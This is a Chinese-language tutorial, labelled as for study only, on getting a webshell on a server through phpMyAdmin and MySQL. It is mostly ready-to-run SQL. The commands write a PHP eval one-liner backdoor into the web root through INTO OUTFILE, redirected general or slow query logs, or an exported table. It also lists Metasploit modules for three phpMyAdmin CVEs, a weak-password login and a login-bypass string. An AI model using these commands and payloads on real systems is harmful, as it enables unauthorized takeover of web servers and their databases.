本文仅供学习参考
phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库。
一、into outfile写马
条件:
1.对web目录需要有写权限能够使用单引号
2.secure_file_priv 不为null (mysql into写入文件:使用需看要secure_file_priv的值,value为“null”时,不允许读取任意文件,value为其余路径时,表示该路径可以读写文件,value为“空”时,允许读取任意文件)
3.要知道网站的绝对路径
利用方法
先根据各种信息收集,判断或猜测出网站的绝对路径,如果是phpstudy启动的根据mysql安装路径就可以猜出网站的位置,如果是linux一般位于/var/www/html
select @@basedir; 查找mysql安装路径
show global variables like '%secure_file_priv%';
如果有权限
select '<?php @eval($_POST[a]);?>'INTO OUTFILE '/var/www/html/shell.php'
二、开启日志写马getshell
条件:
用于 secur_file_priv 为null或限定值不在网页目录时
general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell
general_log:日志保存状态
general_log_file:日志保存路径
利用方法
SHOW VARIABLES LIKE 'general%'; (查看general_log 是否开启)
set global general_log = "ON";
set global general_log_file='D:/phpStudy/WWW/shell.php';
select '<?php eval($_POST["pwd"]);?>'
三、慢查询webshell
利用方法
show variables like '%slow%';
set global slow_query_log=on;
set global slow_query_log_file='/var/www/html/pma/slow.php'
select '<?php phpinfo();?>' or sleep(10);
四、创建数据库和表写入webshell
条件
Root数据库用户(root权限);
网站绝对路径(确定有写入权限);
secure_file_priv没有具体值。
利用方法
建库,建表,建字段,插入数据一句话木马,执行SQL查询,将该表中的内容导出到指定文件,物理路径为"/var/www/html/pma"
use test; 连接test数据库
select * from test_table into outfile "/var/www/html/pma/shell.php";
最后删除该库
drop database test;
CREATE TABLE test( id text(500) not null);
INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');
SELECT id FROM test INTO OUTFILE 'C:/phpstudy/WWW/1.php';
DROP TABLE IF EXISTS test;
特殊版本getshell
CVE-2013-3238
影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config
弱口令&万能密码
弱口令:版本phpmyadmin2.11.9.2,直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名'localhost'@'@"则登录成功
参考
https://www.cnblogs.com/sunny11/p/13581470.html#_label2